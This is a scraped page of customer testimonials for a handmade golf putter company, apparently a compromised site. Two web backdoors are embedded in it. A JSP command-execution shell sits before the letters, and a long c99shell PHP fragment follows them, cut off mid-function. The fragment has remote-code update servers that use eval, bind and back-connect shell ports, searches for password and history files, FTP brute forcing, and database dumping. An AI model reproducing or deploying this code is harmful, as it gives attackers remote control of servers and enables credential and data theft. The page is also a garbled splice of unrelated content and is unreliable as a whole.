<%@ page import="java.util.*,java.io.*"%> <% // // JSP_KIT // // cmd.jsp = Command Execution (unix) // // by: Unknown // modified: 27/06/2003 // %>

if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "
"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>

johhn chd

I just wanted to share.  I have had my Musty Putter for over 20 years. Yup, it is the only club in my bag that has not changed.  I average 1.9 to 2.1 a season which is over 100 rounds.

Yes I am retired.  Thank you for making a great putter.  There is a difference in the roll.

Tom G

They are the BEST! Mine is even ready for a rehab? Cheers I purchased at one of the Schwab Cup tournaments in Sonoma Thanks 

Bob T

They are the BEST! Mine is even ready for a rehab? Cheers I purchased at one of the Schwab Cup tournaments in Sonoma Thanks 

Bob T

Hey Dave nd JJ  great to see you guys in Vegas.  Played  with the new raius face yesterday . (Rollface) It definitely starts the ball rolling on line earlier.  Had 30 putts and  No  3 putts Some years ago you made a center shaft putter for me.  Can I return that and get you to  radius it. 

The otheres I brought in love their putters also..   

Mike P

I received my putter early this week and love it.  The rolled edge is even more enjoyable

on the course than it was on the Vegas showroom carpet.  I knocked in some important

20 footers in my league on Thursday.  My playing mates are calling it Cigar... I will roll with

that too I think.

Thank You

MATT Roers


I picked up the putter from the post office, today (they actually tried to deliver it yesterday but nobody was home to receive it.) It is beautiful! I've been showing it around the company and both the quality and beauty of the putter is receiving great approval. I wanted to thank you for getting this done so excellently in such a timely manner. Thank you, thank you!

As a side note, I did not find the $25 check you mentioned you'd be sending with it. I am not sure if you sent that separately in the mail or if possibly you used the money to expedite shipping. If you haven't sent or used the $25, I'm thinking you should keep it. You getting it to me so quickly, and it being so amazing, you certainly deserve a big tip!

 Again, thank you. I will be proud to present this to my father as a token of my company's appreciation for his many years of leadership.

-Matthew Sidey  

Matthew S

     The putter is absolutely gorgeous! My wife loves it. Not only that but she sank a 10 footer for her first birdie of the season!! She made every putt she tried. She said the balance and weight are perfect. I noticed it gets her ball rolling much faster than other putters. Great job David and thank you very much!

Steve F

I keep forgetting to send you an email to express my gratitude for the work you did on the putter I purchased. It turned out wonderful! My father was very impressed and is loving the way it works. I think he is sold on using your putters from now on. Many people have been asking about it lately. It wouldn't surprise me if you saw a couple more orders from the area. Anyways I love the work you did, everything including the service was exceptional. I will recommend you guys to everyone. Pleasure doing business with you, hopefully we can do it again in the near future.

Jeff H

David, everything you say about this putter is true. I purchased one for myself and one for my Grandson last year at the auto auction in Florida. I had a garage full of putters that I have since donated to the First Tee because NOTHING IS AS GOOD AS MY MUSTY PUTTER.  No matter where I hit it on the face the ball goes where I am aiming. Just love it. Thank you, Earl L. Goodman

Earl G

Dave, just wanted to write and tell you how much I love my Musty! I broke 80 for the first time EVER with a 79 on 9/15/12 and only had 1 3 putt that was MY fault. I have never been more confident in ANY putter I've owned that if I just hit it solid and let the Musty do it's thing, it's gonna go in. Thanks again for a GREAT product and I love telling anyone I play with about it.

Brett B.

I would like to have this club refurbished for the first time. Also, i need a new headcover. Attached is a check for $40.00 to cover shipping and the cost of the headcover. Please call me with an estimate of charges. This is a great putter and I have recieved many compliments not only on Musty's looks but my performance putting with it! Thanks!

David P.


Last fall, you met my wife at the aircraft show in Las Vegas, and subsequently she ordered a putter from you as a Christmas present for me. Having heard of your putters, but not ever seeing one, I was pleasantly surprised with how beautiful it was. Being a low handicap player, and having qualified for many state opens, my experience goes back several decades in the competitive environment. As you are aware, most players will try anything through the years looking for that one thing that will make life easier on the golf course. Having a closet full of collected putters through the years (they behave better when they sit in the dark alone, you know! haha), I, like most, have spent small fortunes on the name brand and specialty putters in existence. When I saw the putter my wife gave me, my inside thought was "wow, beautiful for sure, and will look good hanging on the wall." To my surprise, I did actually putt a few balls with it in the house on Christmas, and it did feel very good!

As the weather has warmed here in Denver, I have been out ten times or so, and have done a lot of practice with the putter, thinking it might be good for the marriage if I did in fact use the Christmas present! The first few putts I made with it on a practice green were startling. As I putted, I thought, "wait a minute, is this thing rolling the ball as well as I think it is?" As I have continued to use it solely this year, my putting has gotten back to the glory days of old, when the nerves were better, and the hole seemed a little larger! In conclusion, let me say that the putter feels as good as any of the high dollar "got to have" putters, rolls the ball on longer putts better than anything I have ever seen, and the shorter putts are now a thing of beauty, as the alignment and way the putter reacts just keeps the ball on line to where it is a very rare occasion if I miss a putt in the six foot or less range! So, you have a convert, and the people I play with are amazed at the consistency of how it rolls the ball, and the feel. My guess will be that others I know will be ordering one, as I have given your information and web site to them. So, thank you very much for designing a product that not only looks good, but actually works!

Roddy Q.


I would like to thank you for standing behind your putters. I used her this morning and had six one putts and no three putts. So for me I was very happy with her performance. I really like how you adjusted the face of the putter just for me. It looks sound, yet still attractive.

Thanks again,

Eric R.

Hello Dave:

It's Russ from Boston. I'm the one with the blade putter that had problems a few years ago, then I bought a new putter and had it bent to my specs. I sent an Email about a month ago saying I had gone 100 holes without 3 putting. The Streak ended at 132. I went most of July and part of June on different courses and greens without a 3-putt. I renamed the putter "Musty 132", and I am going to mount it. Thanks for lowering my handicap.

Russ F.

Dave and Jeanne:

YOWZZA!!! What a day on the links today!! Great day of sunshine, cool breezes and a NEW PUTTER... Just to let you and Dave know, I broke 100 for the FIRST time this year!! 92!!! And it could have been better if my chipping would have been a tad better. Really enjoyed the accolades from the guys on the great look of the putter... and the, "since when did you learn to putt" comments. Your "roll it with wood" is one of golf's truisms. Thanks y'all! Now if I can just remember how it was done... Have a great day... I NOW LOVE THIS GAME!!! (I shaved off the 5 strokes you promised... all in one day). I will keep you posted!!

John K.


What a putter!! It is beautiful and functional. I was so proud to take my Musty Putter out of my bag the 1st time I played with it. All of my buddies could not believe the beauty of this putter and when I sank all those puts the 1st week they were all jealous. What great feel and confidence I have now looking at the cup. Thank you all for a great product.

John C.

Dear Mr. Musty,

Since my father put a golf club in my hand at age 8 the game of golf has been enriching me in more ways than I thought possible. Growing up playing the game of golf I learned how to balance time between my sport, school, and personal life. Along with time management I also gained more self-discipline as well as the ability to keep a level head. Most importantly, I learned to have a great deal of confidence in not only my game, but myself, which in turn has helped me greatly in all other aspects of my life.

On another note, I would like to thank you again for donating a Musty Putter to me. Recently I have been toying with the idea whether or not to play golf in college. My senior year was really rough golf wise and being given this putter has renewed my drive and love for the game.

I'm excited to sink every putt this season and others to come!

Ashley C.


Thanks for giving me the opportunity to go low in the tourney. Visiting Sonoma, California: $500. Drinking excessive amounts of wine: $500+. Finishing 3rd with a putter I've never heard of or used before: PRICELESS!!! Thanks again and see you next year.

Gary C.

Good Morning - David and Jeanne

I just wanted to drop you a note to thank you once again for the putter you made and gave to my 5 year old son Chris! He LOVES it and shows it to everyone he meets at the golf course. As I mentioned before, Chris is high functioning Autistic, and seems golf has become somewhat of a therapeutic endeavor for him, so we're playing a lot. He is already participating and doing well in the age 8-11 category, coming in 9th out of 15 in the last tournament.

I just want you to know that you've made a difference in my boy's life with your generosity and incredible craftsmanship, and for that I truly owe you a debt of gratitude. I will send a video at the end of the season.

Ed G.


I want to express my deepest gratitude for the repair done on my Musty putter. The craftsmanship was absolutely beyond my expectations. I could not tell where the repair was made. When I called Dawn and told her how ecstatic I was with the repair, she said "this is what we do best". It is not only what you do best, but how excellently you do it!!!! During the past 3 weeks my putting has suffered without this putter. I am so happy to have it back. Long live Musty Putters.

Tom S.


I purchased my Modern Classic (black and white Z wood) in 2003 and have had nothing but the best results. I can't think of any other putter performing the way this one does.

David B.

I was fitted for my Musty Putter during the Philadelphia Golf Expo this winter and it arrived at my house within 2 weeks as promised. It is a work of art, but more importantly, has shaved off 4 to 5 strokes from my score.

Terry M.


My putter arrived a few days early. Practiced with it in my living room for a few days and took it on 2 rounds of golf this week. Very nice! Great feel. Sets up well. Gets the ball rolling quickly and stays online well. Hit a few long putts and was deadly within 10 feet. Not bad for Chicago golfing in March. Love the grip we selected. Probably knocked 3 - 4 putts off each round.

Looks! What can I say? Everyone who sees it has to check it out. This is a beautiful club and a great one too. Thanks for taking time to fit the putter for me at the Chicago Golf Show. You truly "over-delivered."

Tim C.

Hi Dave:

Happy holidays! I mailed out my putter today you should have it by the 29th. I put a check for $25 for $10 s&h and $15 for a new head cover. I also put instructions for a new grip, the same one as I have now and for it to be refinished. Can't wait to see it all redone!

By the way, since I bought my Musty, I've gone from a 12 handicap to a 3. And the putter has made the difference. If you ever want a testimonial, let me know.

Rob D.

Hello Dave:

I purchased my 1st Musty Putter and loved it so much that I bought a 2nd one to leave in my summer place in Florida.

John B.


Thank you. Your excellent reputation for customer service and satisfaction is well deserved.

Jon R.


I received my Musty Putter in the mail yesterday and I am thrilled. It is a true piece of craftsmanship! It is truly a beautiful and well balanced putter. I look forward to putting it to good use.

Craig W.


Just a note to tell you that I got rid of my Scotty Cameron after buying my Musty and I think this is the best putter I have ever used. I sure get a lot of comments on the Musty and putt very well with it. It is very beautiful and well balanced. I couldn't be happier. Thanks again for a very fine club.

John I.

$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} $shver = "1.0 pre-release build #13"; //Current version //CONFIGURATION AND SETTINGS if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL } $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} if (empty($surl)) { $surl = "?".$includestr; //Self url } $surl = htmlspecialchars($surl); $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. //Authentication $login = ""; //login //DON'T FORGOT ABOUT PASSWORD!!! $pass = ""; //password $md5_pass = ""; //md5-cryped pass. if null, md5($pass) $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","") $login_txt = "Restricted area"; //http-auth message. $accessdeniedmess = "c99shell v.".$shver.": access denied"; $gzipencode = true; //Encode with gzip? $updatenow = false; //If true, update now (this variable will be false) $c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server $c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server $filestealth = true; //if true, don't change modify- and access-time $donated_html = "Owned by hacker"; /* If you publish free shell and you wish add link to your site or any other information, put here your html. */ $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. $curdir = "./"; //start folder //$curdir = getenv("DOCUMENT_ROOT"); $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) $log_email = "user@host.tld"; //Default e-mail for sending logs $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending $sort_save = true; //If true then save sorting-position using cookies. // Registered file-types. // array( // "{action1}"=>array("ext1","ext2","ext3",...), // "{action2}"=>array("ext4","ext5","ext6",...), // ... // ) $ftypes = array( "html"=>array("html","htm","shtml"), "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), "exe"=>array("sh","install","bat","cmd"), "ini"=>array("ini","inf"), "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), "sdb"=>array("sdb"), "phpsess"=>array("sess"), "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") ); // Registered executable file-types. // array( // string "command{i}"=>array("ext1","ext2","ext3",...), // ... // ) // {command}: %f% = filename $exeftypes = array( getenv("PHPRC")." -q %f%" => array("php","php3","php4"), "perl %f%" => array("pl","cgi") ); /* Highlighted files. array( i=>array({regexp},{type},{opentag},{closetag},{break}) ... ) string {regexp} - regular exp. int {type}: 0 - files and folders (as default), 1 - files only, 2 - folders only string {opentag} - open html-tag, e.g. "" (default) string {closetag} - close html-tag, e.g. "" (default) bool {break} - if true and found match then break */ $regxp_highlight = array( array(basename($_SERVER["PHP_SELF"]),1,"",""), // example array("config.php",1) // example ); $safemode_diskettes = array("a"); // This variable for disabling diskett-errors. // array (i=>{letter} ...); string {letter} - letter of a drive //$safemode_diskettes = range("a","z"); $hexdump_lines = 8; // lines in hex preview file $hexdump_rows = 24; // 16, 24 or 32 bytes in one line $nixpwdperpage = 100; // Get first N lines from /etc/passwd $bindport_pass = "c99"; // default password for binding $bindport_port = "31373"; // default port for binding $bc_port = "31373"; // default port for back-connect $datapipe_localport = "8081"; // default port for datapipe // Command-aliases if (!$win) { $cmdaliases = array( array("-----------------------------------------------------------", "ls -la"), array("find all suid files", "find / -type f -perm -04000 -ls"), array("find suid files in current dir", "find . -type f -perm -04000 -ls"), array("find all sgid files", "find / -type f -perm -02000 -ls"), array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), array("find config.inc.php files", "find / -type f -name config.inc.php"), array("find config* files", "find / -type f -name \"config*\""), array("find config* files in current dir", "find . -type f -name \"config*\""), array("find all writable folders and files", "find / -perm -2 -ls"), array("find all writable folders and files in current dir", "find . -perm -2 -ls"), array("find all service.pwd files", "find / -type f -name service.pwd"), array("find service.pwd files in current dir", "find . -type f -name service.pwd"), array("find all .htpasswd files", "find / -type f -name .htpasswd"), array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), array("find all .bash_history files", "find / -type f -name .bash_history"), array("find .bash_history files in current dir", "find . -type f -name .bash_history"), array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), array("list file attributes on a Linux second extended file system", "lsattr -va"), array("show opened ports", "netstat -an | grep -i listen") ); } else { $cmdaliases = array( array("-----------------------------------------------------------", "dir"), array("show opened ports", "netstat -an") ); } $sess_cookie = "c99shvars"; // Cookie-variable name $usefsbuff = true; //Buffer-function $copy_unset = false; //Remove copied files from buffer after pasting //Quick launch $quicklaunch = array( array("\"Home\"",$surl), array("\"Back\"","#\" onclick=\"history.back(1)"), array("\"Forward\"","#\" onclick=\"history.go(1)"), array("\"UPDIR\"",$surl."act=ls&d=%upd&sort=%sort"), array("\"Refresh\"",""), array("\"Search\"",$surl."act=search&d=%d"), array("\"Buffer\"",$surl."act=fsbuff&d=%d"), array("Encoder",$surl."act=encoder&d=%d"), array("Tools",$surl."act=tools&d=%d"), array("Proc.",$surl."act=processes&d=%d"), array("FTP brute",$surl."act=ftpquickbrute&d=%d"), array("Sec.",$surl."act=security&d=%d"), array("SQL",$surl."act=sql&d=%d"), array("PHP-code",$surl."act=eval&d=%d"), array("Update",$surl."act=update&d=%d"), array("Feedback",$surl."act=feedback&d=%d"), array("Self remove",$surl."act=selfremove"), array("Logout","#\" onclick=\"if (confirm('Are you sure?')) window.close()") ); //Highlight-code colors $highlight_background = "#c0c0c0"; $highlight_bg = "#FFFFFF"; $highlight_comment = "#6A6A6A"; $highlight_default = "#0000BB"; $highlight_html = "#1300FF"; $highlight_keyword = "#007700"; $highlight_string = "#000000"; @$f = $_REQUEST["f"]; @extract($_REQUEST["c99shcook"]); //END CONFIGURATION // \/ Next code isn't for editing \/ @set_time_limit(0); $tmp = array(); foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} $s = "!^(".implode("|",$tmp).")$!i"; if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("c99shell: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} if (!empty($login)) { if (empty($md5_pass)) {$md5_pass = md5($pass);} if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) { if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |
"," ",$donated_html));} header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); header("HTTP/1.0 401 Unauthorized"); exit($accessdeniedmess); } } if ($act != "img") { $lastdir = realpath("."); chdir($curdir); if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} $sess_data = unserialize($_COOKIE["$sess_cookie"]); if (!is_array($sess_data)) {$sess_data = array();} if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} $disablefunc = @ini_get("disable_functions"); if (!empty($disablefunc)) { $disablefunc = str_replace(" ","",$disablefunc); $disablefunc = explode(",",$disablefunc); } if (!function_exists("c99_buff_prepare")) { function c99_buff_prepare() { global $sess_data; global $act; foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} $sess_data["copy"] = array_unique($sess_data["copy"]); $sess_data["cut"] = array_unique($sess_data["cut"]); sort($sess_data["copy"]); sort($sess_data["cut"]); if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} } } c99_buff_prepare(); if (!function_exists("c99_sess_put")) { function c99_sess_put($data) { global $sess_cookie; global $sess_data; c99_buff_prepare(); $sess_data = $data; $data = serialize($data); setcookie($sess_cookie,$data); } } foreach (array("sort","sql_sort") as $v) { if (!empty($_GET[$v])) {$$v = $_GET[$v];} if (!empty($_POST[$v])) {$$v = $_POST[$v];} } if ($sort_save) { if (!empty($sort)) {setcookie("sort",$sort);} if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} } if (!function_exists("str2mini")) { function str2mini($content,$len) { if (strlen($content) > $len) { $len = ceil($len/2) - 2; return substr($content, 0,$len)."...".substr($content,-$len); } else {return $content;} } } if (!function_exists("view_size")) { function view_size($size) { if (!is_numeric($size)) {return false;} else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";} return $size; } } } if (!function_exists("fs_copy_dir")) { function fs_copy_dir($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($o = readdir($h)) !== false) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} if (!$ret) {return $ret;} } } closedir($h); return true; } } if (!function_exists("fs_copy_obj")) { function fs_copy_obj($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (!is_dir(dirname($t))) {mkdir(dirname($t));} if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_copy_dir($d,$t); } elseif (is_file($d)) {return copy($d,$t);} else {return false;} } } if (!function_exists("fs_move_dir")) { function fs_move_dir($d,$t) { $h = opendir($d); if (!is_dir($t)) {mkdir($t);} while (($o = readdir($h)) !== false) { if (($o != ".") and ($o != "..")) { $ret = true; if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}} if (!$ret) {return $ret;} } } closedir($h); return true; } } if (!function_exists("fs_move_obj")) { function fs_move_obj($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_move_dir($d,$t); } elseif (is_file($d)) { if(copy($d,$t)) {return unlink($d);} else {unlink($t); return false;} } else {return false;} } } if (!function_exists("fs_rmdir")) { function fs_rmdir($d) { $h = opendir($d); while (($o = readdir($h)) !== false) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.$o)) {unlink($d.$o);} else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} } } closedir($h); rmdir($d); return !is_dir($d); } } if (!function_exists("fs_rmobj")) { function fs_rmobj($o) { $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); if (is_dir($o)) { if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} return fs_rmdir($o); } elseif (is_file($o)) {return unlink($o);} else {return false;} } } if (!function_exists("myshellexec")) { function myshellexec($cmd) { global $disablefunc; $result = ""; if (!empty($cmd)) { if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} elseif (($result = `$cmd`) !== false) {} elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_resource($fp = popen($cmd,"r"))) { $result = ""; while(!feof($fp)) {$result .= fread($fp,1024);} pclose($fp); } } return $result; } } if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} if (!function_exists("view_perms")) { function view_perms($mode) { if (($mode & 0xC000) === 0xC000) {$type = "s";} elseif (($mode & 0x4000) === 0x4000) {$type = "d";} elseif (($mode & 0xA000) === 0xA000) {$type = "l";} elseif (($mode & 0x8000) === 0x8000) {$type = "-";} elseif (($mode & 0x6000) === 0x6000) {$type = "b";} elseif (($mode & 0x2000) === 0x2000) {$type = "c";} elseif (($mode & 0x1000) === 0x1000) {$type = "p";} else {$type = "?";} $owner["read"] = ($mode & 00400)?"r":"-"; $owner["write"] = ($mode & 00200)?"w":"-"; $owner["execute"] = ($mode & 00100)?"x":"-"; $group["read"] = ($mode & 00040)?"r":"-"; $group["write"] = ($mode & 00020)?"w":"-"; $group["execute"] = ($mode & 00010)?"x":"-"; $world["read"] = ($mode & 00004)?"r":"-"; $world["write"] = ($mode & 00002)? "w":"-"; $world["execute"] = ($mode & 00001)?"x":"-"; if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} return $type.join("",$owner).join("",$group).join("",$world); } } if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return false;}} if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return false;}} if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return false;}} if (!function_exists("parse_perms")) { function parse_perms($mode) { if (($mode & 0xC000) === 0xC000) {$t = "s";} elseif (($mode & 0x4000) === 0x4000) {$t = "d";} elseif (($mode & 0xA000) === 0xA000) {$t = "l";} elseif (($mode & 0x8000) === 0x8000) {$t = "-";} elseif (($mode & 0x6000) === 0x6000) {$t = "b";} elseif (($mode & 0x2000) === 0x2000) {$t = "c";} elseif (($mode & 0x1000) === 0x1000) {$t = "p";} else {$t = "?";} $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); } } if (!function_exists("parsesort")) { function parsesort($sort) { $one = intval($sort); $second = substr($sort,-1); if ($second != "d") {$second = "a";} return array($one,$second); } } if (!function_exists("view_perms_color")) { function view_perms_color($o) { if (!is_readable($o)) {return "".view_perms(fileperms($o))."";} elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";} else {return "".view_perms(fileperms($o))."";} } } if (!function_exists("c99getsource")) { function c99getsource($fn) { global $c99sh_sourcesurl; $array = array( "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", "c99sh_bindport.c" => "c99sh_bindport_c.txt", "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", "c99sh_backconn.c" => "c99sh_backconn_c.txt", "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", ); $name = $array[$fn]; if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} else {return false;} } } if (!function_exists("c99sh_getupdate")) { function c99sh_getupdate($update = true) { $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; $data = @file_get_contents($url); if (!$data) {return "Can't connect to update-server!";} else { $data = ltrim($data); $string = substr($data,3,ord($data{2})); if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return false;} if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} if ($data{0} == "\x99" and $data{1} == "\x03") { $string = explode("\x01",$string); if ($update) { $confvars = array(); $sourceurl = $string[0]; $source = file_get_contents($sourceurl); if (!$source) {return "Can't fetch update!";} else { $fp = fopen(__FILE__,"w"); if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually here.";} else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} } } else {return "New version are available: ".$string[1];} } elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} else {return "Error in protocol: segmentation failed! (".$data.") ";} } } } if (!function_exists("mysql_dump")) { function mysql_dump($set) { global $shver; $sock = $set["sock"]; $db = $set["db"]; $print = $set["print"]; $nl2br = $set["nl2br"]; $file = $set["file"]; $add_drop = $set["add_drop"]; $tabs = $set["tabs"]; $onlytabs = $set["onlytabs"]; $ret = array(); $ret["err"] = array(); if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} if (empty($db)) {$db = "db";} if (empty($print)) {$print = 0;} if (empty($nl2br)) {$nl2br = 0;} if (empty($add_drop)) {$add_drop = true;} if (empty($file)) { $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; } if (!is_array($tabs)) {$tabs = array();} if (empty($add_drop)) {$add_drop = true;} if (sizeof($tabs) == 0) { // retrive tables-list $res = mysql_query("SHOW TABLES FROM ".$db, $sock); if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} } $out = "# Dumped by C99Shell.SQL v. ".$shver." # Home page: http://ccteam.ru # # Host settings: # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." # Date: ".date("d.m.Y H:i:s")." # DB: \"".$db."\" #--------------------------------------------------------- "; $c = count($onlytabs); foreach($tabs as $tab) { if ((in_array($tab,$onlytabs)) or (!$c)) { if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} // recieve query for create table structure $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); if (!$res) {$ret["err"][] = mysql_smarterror();} else { $row = mysql_fetch_row($res); $out .= $row["1"].";\n\n"; // recieve table variables $res = mysql_query("SELECT * FROM `$tab`", $sock); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; $out .= $sql; } } } } } $out .= "#---------------------------------------------------------------------------------\n\n"; if ($file) { $fp = fopen($file, "w"); if (!$fp) {$ret["err"][] = 2;} else { fwrite ($fp, $out); fclose ($fp); } } if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} return $out; } } if (!function_exists("mysql_buildwhere")) { function mysql_buildwhere($array,$sep=" and",$functs=array()) { if (!is_array($array)) {$array = array();} $result = ""; foreach($array as $k=>$v) { $value = ""; if (!empty($functs[$k])) {$value .= 